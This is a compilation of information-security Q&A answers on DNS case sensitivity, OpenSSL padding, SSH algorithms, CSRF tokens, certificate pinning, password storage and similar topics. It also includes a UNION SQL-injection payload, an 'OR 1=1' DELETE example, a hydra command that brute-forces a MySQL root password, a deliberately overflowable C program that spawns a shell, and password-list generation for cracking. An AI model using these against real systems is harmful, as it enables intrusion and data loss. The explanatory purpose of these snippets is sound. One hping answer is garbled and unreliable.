RFC 4343 clarifies that hostnames are case insensitive (RFC 4343, Domain Name System (DNS) Case Insensitivity Clarification), see Section 6 Security Considerations. The section states cases where capitalization may have security impact, so the CANONICAL form of domain names must be used (as is the case with common names (CN) in digital certificates). In general the domain part of your URL should not be case sensitive. The rest is case sensitive, e.g. the full URI is definitely cases sensitive.

Also, see RFC 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing, section 2.7.3, which explains that the protocol specifier (http or https) and the hostname are case insensitive. This is confirmed by RFC5890, Section 2.3.2.4, where the actual algorithm to comparing hostnames is defined.

International domain names generally follow this (although via UNICODE transformations, as defined in RFC3454 and RFC3491).

The only possible explanation for the behavior exhibited is that it is possible that web server configuration may be case sensitive (e.g. the Virtual Host definition), or it is possible that something wasn't implemented exactly as defined in the standard by a vendor (won't be the first time, and won't be the last).

In a nutshell, the issue has nothing to do with the TLS and Internet standards, but with other factors.

I hope this helps!


How does YouTube prevent automatic piracy?

The relevant practice you're describing is leeching and the immediate connotation is inappropriately as harsh as the term "junk bond".

Your conceptual description is accurate but YouTube's content is leechable, sites like HuLu, even CSpan go to greater lengths to protect their content by instructing your browser to cache the content in your systems RAM instead of the disk even overriding your browsers preferences. Other measures such as storing the content in an encrypted manner that requires a rapidly expiring cookie for deciphering along with layers of redirection on the server side that strives to isolate your system from directly accessing the content which is being proxied from internal media servers to the web server, then you.

YouTube employs those measures for the premium content like day pass $9 movies but the never ending competition between the content providers and the labeled pirates keeps prevents the topic from becoming stale.

Whether you can access the actual source FLV, MP4, etc files or have to rely on sniffing the content with a purpose built packet sniifer (even VLc and RealPlayer has mechanisms to record the stream as analogous as a VCR), isolating content from unapproved capture is impossible.

I love the wording of your question because it has all of the hallmarks of a SecPro with more of a traditional background in law enforcement, policy auditing and it seems like the earnest curiosity of someone on the quest to learn more and that is becoming rarer in this profession.

If you google for "leeching tools" you'll get a Chicago thick phonebook of results and just starting with FlashGot or FlashVideoDownloader as FireFox add on's will demonstrate the semi obfuscated URL's. If you hate FireFox and prefer IE, you can use the ANT Downloader, it's FF and IE compatible.

My own experiences, I've found Firefox addon's more capable for this leeching in its depth and breadth of choices, while Chrome seems to be lacking especially when trying to leech video from YouTube or any other site in the google family.


Trying to understand/use openssl for decryption

According to man enc:

  All the block ciphers normally use PKCS#5 padding also known as standard block padding

PKCS#5 padding (technically PKCS#7 here) is done by adding N bytes of value N to the plaintext so that it is evenly divisible by the block size. If you don't specify -nopad, enc will expect that, for example, a 30 byte plaintext would be encrypted to a 32 byte ciphertext, with the last 2 plaintext bytes each having the value 2.

PKCS#5 padding requires that there always be at least one padding byte, so in the worst case you'll have an entire block of padding, but the upside is that when decrypting the last byte can always be checked to see how much padding needs to be stripped. This prevents any ambiguity between padding and data.

In your case, you've padded the plaintext with bytes of value 0, which causes the decryption error. This is called zero padding or null padding, and isn't generally used as it's not possible to distinguish between padding and data if the data can contain null bytes. When using -nopad, enc will require the input to be evenly divisible by the block size when encrypting, and when decrypting it won't attempt to strip any padding, leaving you to deal with it yourself (which is why you're getting those 11 extra bytes).

As @dave_thompson_085 noted, the salt is only used by enc to derive the key and IV when using a password. When specifying the IV and key directly, there is no salt.


What you're asking for here with ssh -Q key is a listing of all the key types.  With the rsa-sha2-256 signature algorithm, as well as the obsolete ssh-rsa (RSA with SHA-1) algorithm, the key type is still ssh-rsa, since both types of signatures use the exact same key.  If you want to know what signature types are available, run ssh -Q sig (example from my Debian sid system):
$ ssh -Q sig
ssh-ed25519
sk-ssh-ed25519@openssh.com
ssh-rsa
rsa-sha2-256
rsa-sha2-512
ssh-dss
ecdsa-sha2-nistp256
ecdsa-sha2-nistp384
ecdsa-sha2-nistp521
sk-ecdsa-sha2-nistp256@openssh.com
webauthn-sk-ecdsa-sha2-nistp256@openssh.com

On newer versions of OpenSSH, you also have ssh -Q HostKeyAlgorithms, which prints the values that are valid in that option:
$ ssh -Q HostKeyAlgorithms
ssh-ed25519
ssh-ed25519-cert-v01@openssh.com
sk-ssh-ed25519@openssh.com
sk-ssh-ed25519-cert-v01@openssh.com
ssh-rsa
rsa-sha2-256
rsa-sha2-512
ssh-dss
ecdsa-sha2-nistp256
ecdsa-sha2-nistp384
ecdsa-sha2-nistp521
sk-ecdsa-sha2-nistp256@openssh.com
webauthn-sk-ecdsa-sha2-nistp256@openssh.com
ssh-rsa-cert-v01@openssh.com
rsa-sha2-256-cert-v01@openssh.com
rsa-sha2-512-cert-v01@openssh.com
ssh-dss-cert-v01@openssh.com
ecdsa-sha2-nistp256-cert-v01@openssh.com
ecdsa-sha2-nistp384-cert-v01@openssh.com
ecdsa-sha2-nistp521-cert-v01@openssh.com
sk-ecdsa-sha2-nistp256-cert-v01@openssh.com

Note that whether your fingerprint is SHA-2 or not has nothing to do with the signature algorithm.  If you generate an RSA key, it can be used for both SHA-1 and SHA-2 signature unless you specify otherwise.  You would typically want to remove ssh-rsa from the HostKeyAlgorithms option unless you have a compelling reason to use it, or you can just solve the problem entirely by using an Ed25519 key, which always uses a secure algorithm.
The -cert-v01@openssh.com type indicates an OpenSSH certificate.  This is useful if you have a controlled environment, like a company, and you want to create a certificate authority to sign OpenSSH keys and restrict access to only those keys.


IT department says our windows 10 server is 100% going to be hacked because of port-forwarding my software

We have a local virtual windows 10 server hosting some custom software.

Windows 10 might not be a good choice for hosting an Internet service, performance and security wise.

  Custom UDP communication server (with its own reliable implementation)

Peer reviewed and pen-tested? Shouldn't be called reliable otherwise.

  FTP server configured a usual

FTP needs to be secured with TLS, by itself it's insecure.

  When I asked the network manager to allow these connections to this specific VM, he said it is very dangerous and that there is a 100% chance that we will get hacked.

He's likely correct unless your service was specifically hardened for Internet use. Any service available from the Internet will be attacked and when there's a security problem it will be found, sooner or later.

  In my knowledge, it is very unlikely that someone might be able to penetrate my custom software

Based on what premise?

  and get something useful out of it, let alone cause any harm with it.

It's quite enough to pass a not fully filtered parameter as SQL query, for instance, to allow SQL injection. That opens the door to steal your data or manipulate it, including user passwords.

  The only weak spot I might come up with is our FTP service, which could be "hacked" and the intruder could potentially transfer malicious files to this certain folder.

Unless authentication is encrypted, it'd be easy to intercept user credentials, allowing impersonation.

  I could upgrade to SFTP but I'm not very familiar with this service and have no idea if it's a major improvement.

SFTP uses mandatory encryption and is generally accepted as being more advanced and reliable.

  Are there any major security leaks with this setup if we port forward it?

We can't really tell unless your code is properly reviewed and tested.

  The authentication is based on a salted hashed password which grants a session token for a limited duration (30min). This connection is not encrypted, but I have not enough knowledge of knowing why it should.

Again, we don't really have enough information to comment. Generally, you should be sure that everything's tight.

  This application is not going to be used by a lot of people. I doubt it would fall into the hands of anyone who knows how to break this. But I just want to be sure.

If it can be reached from the Internet it's going to be attacked.


What are the security implications of autorun and external drives?

From what I've read some good advice is to turn off autorun and have antivirus software activated.

The reason you'd disable autorun is to prevent the OS from following the contents of the autorun.inf file on the root of the external media to perform whatever action it is configured to do. Usually this is used for automatically launching software when media is inserted or connected, for example the software setup application when you insert the installation media for a piece of software. Ideally you would always have autorun completely disabled for all drives.

  Does that mean it will then be safe to access any media file there?

Nothing is ever completely "safe". There is nothing stopping you from running a file containing a virus or other nasty that your antivirus doesn't recognize and therefore doesn't stop. That said, the majority of media files are not natively executable, there are some exceptions like the Active Streaming Format (ASF) which execute content via a compatible media player but in general this isn't an attack vector.

  Would manually scanning the file before accessing it impact anything?

No - any modern antivirus solution will have what is called an on access scanner. What this means is essentially every time you open a file, it is scanned before it is executed (or passed off to the associated application to open).

  Secondly about the internal drive, does Windows security and antivirus and other security software act more loose on internal drive than external drive?

In general, no - there is no difference. The long answer is that this is entirely down to the feature set of your Anti Virus software and how you have your Anti Virus software configured, in some AV software you can configure exceptions, adding files or folders or drives to your exceptions list would prevent them from being scanned.

  Is simply having an activated antivirus program, firewall, etc, enough? what further steps can I take to decrease my vulnerability?

Regardless of the software you have installed "protecting" you, none of it makes up for user... naivety... Your concept of "enough" shows complacency, which is literally half of the problem.

The most important security measure you can deploy is common sense.

After common sense, keeping your applications up to date to ensure they're not the attack vector that gets exploited.


What are the security risks of using add-ons in Google Docs / Spreadsheets?

I had the same question. Here are some thoughts I found. https://spinbackup.com/blog/security-risks-google-add-ons/

The gist is these are not made by Google and therefore there is always some risk. In fact it sounds a bit like apps on a phone, except seemingly without any Google recommendations.


You're most likely fine although depending on the attack (how targeted, how much the attacker knows about their audience). If you didn't open any attachments you most likely do not have malware on your computer because a javascript to sandbox escape zero day is very very valuable and would likely be weaponized by or at the government. As long as you don't have any vulnerable extensions (any extensions which interface directly with an unsandboxed application are dangerous and can potentially be exploited for RCE) you are likely safe on this front.

The worst case scenario is that the unsubscribe page had some malicious content in it that attacked your other accounts using iframes or some other CSRF approach. With javascript disabled except for special domains your are still quite vulnerable to some attacks however these only would affect vulnerable websites and the accounts you use on them. So worse case scenario your account on a website has some XSS injected into it. Without javascript exploiting an XSS is more difficult however if it's stored you may eventually end up signing in without noscript and then it's game over because pretty much any action you can take on the site the attack can now as well.

The issue with these web to web attacks is that once you're infected it's really hard to know and it's up to the site operators to detect and fix these vulnerabilities. Keep noscript running but I wouldn't be too worried since it's out of your hands at this point.


Can a .exe file scanned and verified safe by many antivirus hack my personal information?

Online antivirus scanners detect known malware.
New malware is not known to them, so it is absolutely possible to have malware that is not detected by any antivirus.
An antivirus installed on your PC can use some more heuristics to detect potentially bad behavior of running software, but this is far from perfect.
You should absolutely not run executable software which you don't trust, and never run anything that is not 100% trustworthy with administrator permissions.
If you look at the source in the repo, this is pretty harmless, it just sends your IP and some system data to a telegram channel. Probably created by a bored teenager.
If the source code actually is the one used to create the executable you ran, that is. I didn't bother to verify that.


Is there any point in using 'strong' passwords?

Brute-forcing even 'strong' passwords is becoming trivial when you have the password hash, and this situation will only get worse.

This is not true. A highly random password is near impossible to bruteforce given that the web application in question is using a strong hashing algorithm like bcrypt or pbkdf2. On the other hand, weak passwords are laughably easy to bruteforce even if a strong hashing algorithm is used.

So yes, there is merit to using a strong password.


Getting the DNS root name servers in a secure way

The .sig file provided for each zone allows for an method of verification using the signature located at the bottom of the INTERNIC_ROOT_ZONE.signatures.asc file.

Using PGP you can then do the following for verification (see PGP key here):

$ gpg --keyserver --recv-key 0x0BD07395
$ gpg --verify zone.sig zone


How secure is the native browser password autofill?

Usually, not secure at all. It really depends on your threat model, but the data is usually saved:

unencrypted,
encrypted with a publicly-known passwords or
encrypted with a user given master password

On Windows (I believe 7 and over) Chrome uses an OS facility for the storage, which ties the encryption to the logged in user.

On Linux systems Chrome uses gnome-keyring or the equivalent in other desktops. The principle is the same as in Windows.

Firefox on the other hand avoids the use of OS facilities and takes care of the crypto and storage itself. If you set a master password an attacker would have to bruteforce it to get to the saved passwords(*). If you don't set a master password, one will be provided to you and it will be the empty string "". Not a very good password if you ask me.

In all cases the passwords are probably accesible to an attacker with code execution in the current user context.

In the case of Firefox without a master password the passwords are also accessible to an attacker with access to the database file.

This blog has a more in-depth analysis of the issues.

(*) As noted in the comments by Mrdeep, Firefox does a lousy job of hashing the master password, so it's easily bruteforced.


do password managers count as a MFA authentication factor

You could say that the password manager has MFA, because you have to have the database and know the master password.

However, the attacker can still gain access to the application by obtaining your application password. Actual MFA would prevent him from accessing your account, because he doesn't have access to your phone or keyfob. This is missing with a password manager.

So it depends on the attack scenario. An offline password manager such as KeePassX has two-factor authentication in the sense that you need both the database and the password. But this does not change anything about the applications where you use those passwords.


Let's say there's an injection possibility on an action that results in the deletion of a single result.

DELETE FROM users WHERE userId=1;

A risk level of 1 or 2 is likely to result in a single user being deleted.

Risk level 3 uses OR which can end up effecting many more rows than intended.

DELETE FROM users WHERE userId=1 OR 1=1;

It's not that risk 1 & 2 don't have the possibility of deleting or updating database records, rather their impact is likely limited in scope; while risk 3 is more likely to destroy (or make your presence known by disruption) an application before you can effectively exploit it.


How to access MySQL database if access is denied?

Try hydra! It's preinstalled on your Kali box.

hydra -l root -P <path to passwords file> <ip address of vulnerable box> mysql -V

This will use all the passwords in the password file supplied to brute force the mysql password for the root account.

A couple good list of password located on every kali box at /usr/share/wordlists.  I recommend rock you


For HIPAA, Does US Patient Data Have To Stay On US Servers?

It would seem that data can be stored abroad, but the location of service
 and any extra risks would need to be considered.

  9. Do the HIPAA Rules allow a covered entity or business associate to use a CSP that stores ePHI on servers outside of the United States?

  Yes, provided the covered entity (or business associate) enters into a business associate agreement (BAA) with the CSP and otherwise complies with the applicable requirements of the HIPAA Rules.  However, while the HIPAA Rules do not include requirements specific to protection of electronic protected health information (ePHI) processed or stored by a CSP or any other business associate outside of the United States, OCR notes that the risks to such ePHI may vary greatly depending on its geographic location.  In particular, outsourcing storage or other services for ePHI overseas may increase the risks and vulnerabilities to the information or present special considerations with respect to enforceability of privacy and security protections over the data.  Covered entities (and business associates, including the CSP) should take these risks into account when conducting the risk analysis and risk management required by the Security Rule.  See 45 CFR §§  164.308(a)(1)(ii)(A) and (a)(1)(ii)(B).    For example, if ePHI is maintained in a country where there are documented increased attempts at hacking or other malware attacks, such risks should be considered, and entities must implement reasonable and appropriate technical safeguards to address such threats. [Source]


Storing US employer identification number (EIN / FEIN) in a database

The EIN is publicly available information, so it is not generally as sensitive as a SSN.
Nevertheless, you may need to secure it for other reasons depending on your circumstances. e.g. could a competitor use it to figure out your customer list?
As ever, get your legal advice from a lawyer licensed in the relevant jurisdiction, not from some schmuck like me on the Internet.


How does an organization completely delete records?

They will follow legal frameworks such as the GDPR or others relevant to their jurisdiction that dictate the organization's requirements for holding and securing data. To demonstrate my point you can see that even in the GDPR's Right to Erasure Request Form there is a clause stating that some data may have to be retained to comply with the Law, and the sensitive data mentioned in your question is the sort of thing these institutions would have to securely retain for a given time (e.g. a payment processor holding onto records of a payment in the event of a legal dispute).
Purging a given record from the entire organization immediately would be an overall cost ineffective task, as the data should be backed up in separate locations and to edit existant SQL backups would make it very easy for internal operators to deliberately or accidentally corrupt the files. In addition, reporting such incidents would be hairy as you have made a process where people are tampering (on schedule) with or deleting your backups!
Even removing 'ghost' records from a RDBMS can be difficult, as for instance MS SQL Server includes the command sp_clean_db_free_space which removes deleted records that are no longer referenced but still present in the relation, but Microsoft recommends to only run this during off-peak times (which a Bank or Payment Processor may not have a guarantee of). As a counterpoint, MySQL has a worklog detailing potential options for doing what you ask (within a given DB on the DBS) but I do not think any of these have been implemented as of yet.
Returning to my GDPR example, you can see that in their Checklist immediate purging of information is not even mentioned. I would say that the system your envisioning of immediate and permanent data erasure is not something most companies can afford to do as part of the day-to-day MO.


How to reduce trouble in case I lose access to my password manager?

Backups. Follow the 3-2-1 rule: three copies, on at least two different media, one of which is offsite.

Personally, my 1Password keychain is sync'd to my laptop and my phone. It's backed up regularly through Time Machine, both to the laptop itself and to a hard drive in my apartment accessed over WiFi. It's also sync'd to Dropbox, which allows accessing archival copies of any previous version. The Dropbox password is written down in a fire safe (arguably, it should be a password I remember — if the apartment burns down particularly spectacularly, that could theoretically take out the phone, laptop, hard drive, and fire safe).

Given this, I'm probably more likely to win the lottery twice than to lose my password vault.


What are the basic implementations that make a network secure from the inside\outside?

The most basic principles for making a network secure are 'defence in depth' - that is, you want to put as many things between your 'crown jewels' and potential attackers as you can - and 'minimal surface area' - that is, you expose as little as possible to attack.

To get there; your list of basics is pretty good at addressing 'defence in depth', though you may want the ability to blacklist/whitelist applications.

You should have a look at minimal surface areas - turn off admin privileges, unused services, blacklist any application running outside of c:\windows, c:\program files, etc., block executables on USB, turn off web access on machines that don't need it, etc.

Finally, the Australian DSD guide at http://www.dsd.gov.au/publications/Top_35_Mitigations_2012.pdf is a very good 'checklist' for this sort of thing - start at the top and work down.


Have you tried the Metasploitable? https://community.rapid7.com/community/metasploit/blog/2009/03/22/vmware-virtual-pc-and-fdcc-images

Also, you could try making your own applications, they aren't difficult to make:

#include <stdio.h>

void call_me()
{
    system("/bin/bash");
}

int main(int argc, char **argv)
{
    char in[20];
    setresuid(5002,5002,5002);

    strcpy(in,argv[1]);
    return 0;
}

Something like the above is all it takes for application vulnerabilities.


Trying to understand how to use comment in SQL injection

There are multiple errors here:

The syntax of a select statement is SELECT [COLUMNS] FROM [TABLE], but you are writing SELECT [COLUMNS] FROM TABLE [TABLE].
You are injection a ;, but that is not required or valid for most APIs.
While you can use * in a union select, it is highly unlikely that both tables have the same amount of columns, so it will likely not work.
You are correct that you cannot just use --, but have to append an actual comment. However, I wouldn't use '. It is likely valid, but it may be filtered, etc. Either use # or append a different string, eg -- -, -- foobar etc.

Giving this, this should work:

1 union select 1,2,3 from user -- -

The column count is likely wrong and needs to be adjusted by you.


Using Uber, Amazon apps in public networks

TLS has been designed to provide confidentiality and integrity of communication across untrusted networks. While I would agree that I would avoid doing banking on public networks if you can avoid it, so long as you're not seeing certificate errors while doing it (which means you're traffic is being intercepted) I would say you're probably okay and don't have too much to worry about.

Now I will qualify that with that fact there are appliances and vendors (such as Symantec / BlueCoat) that could intercept your traffic without you seeing any errors as Symantec is a trusted CA. With that said these appliances are very expensive and not likely to be deployed in smaller "wifi" hotspots.

In the instance where your Credit Card is saved on file prior, those details are stored on their end and do not cross the wire back to your device when processing transactions. The application, such as Uber or Amazon will interact with the credit card processor to process the transaction and not your phone so that shouldn't be a concern for you. Your concern should be the transmission of your credentials over untrusted networks, but as mentioned above so long as you don't see certificate errors I would imagine you're okay.


You say "session" - do you have a server-side session? If so, why not put the CSRF token in the session instead of a client-side cookie? That's the normal pattern; it prevents an attacker being able to use their own generated CSRF token value against another user in the case where they have cookie fixation.

Another similarly watertight approach not needing an extra cookie, if you don't have server-side storage, is to create a value including the user or session ID and sign it using a MAC (typically HMAC) with a server-side secret. The server can then verify that the token in the form came from the user whose session it is.

  attacker can't read or set the cookie of a domain that he doesn't own

Well, probably... usually. Ways that cookie injection tends to happen (other than XSS in which case you already lost much worse):

browser bugs, outdated "generic domain" tables/rules etc
vulnerable neighbour domains (eg set cookie on www.example.com from test.example.com)
allowing your site to be served from an attacker domain (always check the Hostname: is a recognised-good domain name)

These are typically marginal issues but they depend on factors potentially outside your control as an application author. So for security-sensitive systems it's generally a good idea not to rely on your cookies being unfixatable.


Generate password list with specific keywords and length

The most precise and flexible mechanism to perform a combinator attack with multiple combination lengths plus length restrictions is probably to combine princeprocessor with the len utility from hashcat-utils:

$ cat list.txt
dog
cat
bird
sun
tree

$ pp64 <list.txt | len 4 10
bird
tree
dogdog
catdog
sundog
dogcat
catcat
suncat
dogsun
catsun
[...]
birdcatcat
treecatcat
birdsuncat
treesuncat
birddogsun
treedogsun
birdcatsun
treecatsun
birdsunsun
treesunsun

You don't mention whether there is a minimum number of elements (words); princeprocessor has options for that as well.

While efficiency isn't as much of an issue for a slow hash like WPA2, pp64 and len are optimized for high speed, and so are also useful for faster hashes as well.


How are Proton Mail key Encrypt and Decrypt for the non-proton mail service providers?

Based on the limited information available on their site that says they're using OpenPGP, here's my guess:

When sending email to another Protonmail account the body of the email is encrypted using the recipients public key (which is public, non-sensitive information).

When reading email, your password is used to generate an encryption key, possibly via PBKDF2, this is in turn used to decrypt the private key - hopefully locally on your device - which can then be used to decrypt the message.

This is pretty much how PGP works and has been used to encrypt email for quite some time, though there has never been a good, commercially available solution that I know of. As for encryption to non-Protonmail users, they write here that they don't support PGP (which is a bit odd since they seem to be using OpenPGP), so you can't send encrypted email to recipients outside of Protonmail.

Note that the messages themselves probably aren't encrypted/decrypted with the public/private keys, but instead encrypted with a randomly generated symmetric encryption key. The encryption key is then encrypted/decrypted with the asymmetric keys. This is done for performance and space-saving reasons.

As for their feature of sending encrypted content to other users via links, it's really no different to sending password-protected Zip files, Word documents or password protected links on Dropbox - though it may be more convenient since it's integrated into the email client.


What is a Rainbow table? How many hash codes must be generated in the following scenario?

The total character length is 10 since these are the available digits:

0 1 2 3 4 5 6 7 8 9

10^5 = 100,000

So about 100k hashes. You don't need rainbow tables for this, though, but you should read up on them for a better understanding.


I think the problem is the routes and protocol used.

Try,

to ping server use Packer equal the '0' in LAN, and internte ping:

try hping use diffent flag:

"-O --tcpoff
    Set fake tcp data offset. Normal data offset is tcphdrlen / 4."

or

"-2 --udp
    UDP mode, by default hping2 will send udp to target host's port 0. UDP header tunable options are the following: --baseport, --destport, --keep."

If you send an empty package and it comes back full.

  Ne nuntium necare ( do not kill the messenger ). Latin proverbs.

reference: http://linux.die.net/man/8/hping3

http://www.hping.org/manpage.html


From my understanding you saturate the communication path between the VM and the shield when doing the DoS from inside the VM. Since that's the same path you use for your TCP connection it will heavily impact the delivery of data inside TCP connection, i.e. your Python console hangs.

If you do instead the DoS from outside the VM the communication path between the shield and the VM is not affected by the DoS. Additionally I expect that less bandwidth will be used by the DoS since the connection from the different notebook (via LTE?) provides less usable bandwidth than the local connection between VM and shield. This will also take load from the shield.


Is this good/secure method for client-server communication encryption?

What you are describing is known as a Stream Cipher.
As to the differences, the linked article can be cited to get you started:

Stream ciphers are often used for their speed and simplicity of implementation in hardware, and in applications where plaintext comes in quantities of unknowable length like a secure wireless connection. If a block cipher (not operating in a stream cipher mode) were to be used in this type of application, the designer would need to choose either transmission efficiency or implementation complexity, since block ciphers cannot directly work on blocks shorter than their block size. For example, if a 128-bit block cipher received separate 32-bit bursts of plaintext, three quarters of the data transmitted would be padding. Block ciphers must be used in ciphertext stealing or residual block termination mode to avoid padding, while stream ciphers eliminate this issue by naturally operating on the smallest unit that can be transmitted (usually bytes).
Another advantage of stream ciphers in military cryptography is that the cipher stream can be generated in a separate box that is subject to strict security measures and fed to other devices such as a radio set, which will perform the xor operation as part of their function. The latter device can then be designed and used in less stringent environments.


This is being done by using the

Diffie-Hellman key exchange protocol when you aim for Forward Secrecy (Authentication-Key = RSA, Encrpytion-Key = DH-negotiated)
RSA in non Forward Secrecy scenarios (Authentication/Encryption-Key = RSA).

The latter has the disadvantage that an attacker that can get hold of your private key can also decrypt all past communication - whereas this is not possible by using DH and therefore a different key for encryption.


Being able to intercept SSL traffic with an imported root certificate is not considered a weakness of the web application. It's a browser design decision to allow the import of custom local trust anchors.

  Does implementing the HSTS solving the problem I have?

No. A HTTP Strict Transport Security header just enforces HTTPS. HSTS doesn't care which certificate you use as long as it's valid. That is, with HSTS you won't be able to select "Add an exception" for an invalid certificate anymore. But when a certificate is trusted by an imported CA (like the Burp root certificate), HSTS doesn't make a difference.

  My problem is how we can prevent any interceptor analysing the HTTPS traffic even if someone installs the interceptor's certificate in the client browser?

You can't. If you locally import a trusted root certificate, a website can't instruct your browser to reject it anyways.

Note that there is also the HTTP Public Key Pinning (HPKP) header that a server can send to enforce a particular certificate chain. (This might be the concept you're after, rather than HSTS.) But even this header doesn't overrule local trusted root certificates. (E.g. Google, Facebook and Github all still load through the Burp proxy despite sending HPKP headers that would theoretically reject the Burp CA.)

From "What HPKP is but isn't":

  HPKP does not protect against local attacks, such as malware intercepting traffic. As long as the malware has the ability to get a root certificate installed on your machine, there’s nothing HPKP can do.

This is also explained in the Chromium Security FAQ:

  Chrome does not perform pin validation when the certificate chain chains up to a private trust anchor. A key result of this policy is that private trust anchors can be used to proxy (or MITM) connections, even to pinned sites. “Data loss prevention” appliances, firewalls, content filters, and malware can use this feature to defeat the protections of key pinning.

So there is no common way to achieve what you want - are you sure you really need to block local root certificates? If a user installs the Burp certificate into their browser to intercept SSL traffic they made a conscious choice after all. Here's how the Chromium FAQ justifies that behavior:

  We deem this acceptable because the proxy or MITM can only be effective if the client machine has already been configured to trust the proxy’s issuing certificate — that is, the client is already under the control of the person who controls the proxy (e.g. the enterprise’s IT administrator). If the client does not trust the private trust anchor, the proxy’s attempt to mediate the connection will fail as it should.


Can bankers' rounding be exploited to maliciously increase balances?

In fact it was exploited (on a low scale) in Germany before the Euro cash was introduced. The scheme worked like this:

Create two accounts, one already in Euros, the other in Deutsche Mark.

Transfer 0,01 DM to the Euro account, it is rounded up to 0,01 Euro

Transfer 0,01 Euro to the DM account, it is rounded up to 0,02 DM

A school class made some press headlines earning a few hundered Euros this way.

Of course, a transaction fee by the bank immediately destroys such schemes.


How did my phone provider leak my MSISDN to an advertising website?

It happens that you incurred in a fraud that is actually very common and requires a bit of carrier's technical cooperation. I know that it happened in Italy (source: Antitrust Authority), especially to Three users.
Premium-SMS services allow external content providers to provide mobile subscribers with SMS content that is supercharged, with charges divided between the provider and the carrier (as a fee for networking and payment processing costs). User is debited on his number, either pre-paid or subscribed.
It works essentially by technical arrangements with carrier providers, for which I could find no documentation. I am 80% sure that is a huge NDA barrier to see the technical APIs for premium services providers to carriers.
I have already seen a number of mobile carriers providing non-login access to self care portal when you are connected to their network, e.g. not using Wifi at home. Mostly all available in my country. They do authenticate you by ip address, which also means that anyone tethering on you may see remaining credit or data treshold. So it is not uncommon.
What EE ad other carriers might do without you to find out is selective transparent proxying, which explains why the second paper could be "outdated" to our scope.
Carrier might add the tracking header to HTTP requests targeting their partners' servers only. But I have no proof over it. I doubt that they can technically assign a unique IPv4 address to every device.
Consider that premium SMS services are not actually delivered by the Azerbaijani company (which tells most of the truth about the liability chain, with the highest respect to honest people born and living Azerbaijan), but from a company that has partnership agreements with the carrier. Consider this company I found during my search selling premium SMS services.
Consider also that to my knowledge carriers only charge for premium SMS received. This means that the carrier has no knowledge (or "row in their database") for subscription. If you have subscribed for 5£/week, that means you will get a weekly 5£ text saying "Your subscription is renewed". To summarize, your weekly charge is associated to that SMS, and in case network does not deliver (or realistically delays) that SMS you are free from any charge until you receive it.
It is important to note that not everyone can send a premium SMS to subscribers and get money. Carriers do make agreements (and open logical channels) only with companies they trust in order to avoid a massive SMS bombing, for which the carriers are responsible under all consumer regulations. The mechanism starts to break when those SMS providers allow other companies to be their premium SMS customers (right wording is suppliers) and do not enforce careful checks on their ability to start a subscription without explicit user confirmation.
From my experience with the Italian case, for which police investigations are slowly ongoing, particularly slow in this case, public opinion's conclusions are that 1) there is a lot of money involved in the premium SMS stuff, as carriers take a lot of fees, 2) the impact is divided in small fractions across multiple individuals, so the damage to the single customer is trivial, and 3) a lot of subscribers are hardly aware of being victim of the premium SMS scam, including a person I know in person who paid 5€/week for nothing. N. O. T. H. I. N. G. actually delivered to that person's phone. (see note 1)
The real supply chain, from EE, O2 or any other provider, to the Azerbaijani company can be as longer as you like. Matrioska-style chains are not uncommon.
Conclusions
You were surely victim of an ongoing scam that leverages the trust between the carrier and their partner networks, allowing their technical APIs to estabish a subscription without SMS confirmation. Not applicable to all carriers. Occurred with Three Italy with ease as described in linked article.
Often the advertising system is designed that your subscription starts when you click on a "I agree" button, but that click is stolen with common clickjacking techniques.
Your phone number was not necessarily leaked to advertising provider, but to content provider. Advertising provider knows your ISP.
You may demand your money back to your provider claiming you did not consent to the subscription. Under your regulation, the opposition of your carrier that you have clicked "I agree" may be their burden to prove.
To my records, EU-regulated carriers should allow their customers to block all kinds of premium services by explicitly opting out from any future subscription. This has pros and cons. (e.g. you won't buy your bus ticket by SMS)
You can sue John Doe at your local police office, citing all information that suggests this specific content provider is scamming other people is also worth. Remember that you have been stolen only a small amount of money, and your local prosecutor must consider this.
Adding my linked article from Italian Antitrust to your complain at Phone Services Authority may help, so they are informed that a similar case occurred in another EU country.
Spreading the word with the help of a consumer association (I am thinking about the equivalent of American ACLU) may help start an investigation.
Note 1:

Why nothing delivered?
I tracked all the SMSes received by this person's 3g modem and when I found traces of the subscription to the premium service I never saw any method to retrieve the "contents" that were weekly available. Every SMS "This week new content for you". What is the "content"? How do I see that?


Eavesdropping phones in offline mode or when switched off

AVG just detected some malware which even works while the phone is switched  off. It seems that the malware interrupts the shutdown process so that the user thinks the phone is off, while it actually still runs. Removing the battery could prevent this malware from working.


Is it safe to play third-party games on Facebook?

So the primary concern of Facebook games is privacy. If you play a Facebook game, there's a good chance that your information is being shared with somebody, who will sell it to somebody else who will use it to target you with specific advertisements.

But let me remind you that you're using Facebook.

The IP address can go in there as well. IP addresses don't always provide an accurate location, and they don't always stay the same, but they can provide one extra piece of signal for the algorithms.

As far as security, your IP address is already being scanned every day by potential attackers. This is called the background noise of the Internet. Most home users don't have anything for the scanners to find, unless they're exposing a media server or file server to the Internet. If you do that, make sure everything is up to date and that you use strong passwords. Unless you've got some opening like that, DoS is about the only thing an attacker would do with your IP address.

When we come to Facebook games, though, consider this: Why would a gaming company scan your IP address or do a DoS just because you play their game?


Does having a passphrase and SSH key qualify as two factor authentication for PCI?

If an SSH key is protected by a passphrase, then it's just encrypted with that passphrase. There isn't an additional authentication component. That is, you can decrypt the key client-side (and store the decrypted key), and the server won't ever know. In fact, many users use "key agents" which allow you to enter your decryption passphrase only once, and the key material is remembered during your workstation login session.

You can, however, require on the SSH server both a passphrase and SSH key, where the passphrase is your server's normal user password. If your SSH key is encrypted (and you're not using a key agent), then this is actually two passwords required at login; one for your key and one for your server. This is probably closer to the spirit of two-factor authentication.

There are many who would say, though, that key material on your computer is still "something you know", since it's infinitely copyable. Instead, "something you have" would be a hardware token that can't be duplicated. It is possible to implement SSH keys using hardware tokens, assuming the token supports RSA keys. This may take some doing to set up, though.


How secure is using car number plates as a password?

Tools like you mentioned above will only check for few cases like dictionary words, inclusion of upper case, lower case characters, non-alphanumeric symbols and so on. But they probably fail at finding out the pattern.

In your case, you have a pattern, which, if gets out in public(which has, by the way), can be used to crack the password. The fact that the plus symbol always comes in between and the left and right parts are made up of licence plates makes it much easier to crack.

  how secure is this method?

It's not. You should probably switch to a password manager, which would ideally generate a password which is practically really hard to crack, if not impossible.

You seem to be ignoring what is known as shoulder surfing, where as it shouldn't be. Experienced "shoulder surfers" would definitely crack the pattern of your password.


how to check if remote host is running LDAP server?

If it's your server, you will know just by looking at the running services. When you are there, run netstat and probably you will see LDAP listening only on localhost.

Remotely, if the server is listening on localhost, you cannot know just by running nmap, the port will not answer for the public interface. You cannot access it even if it's running.

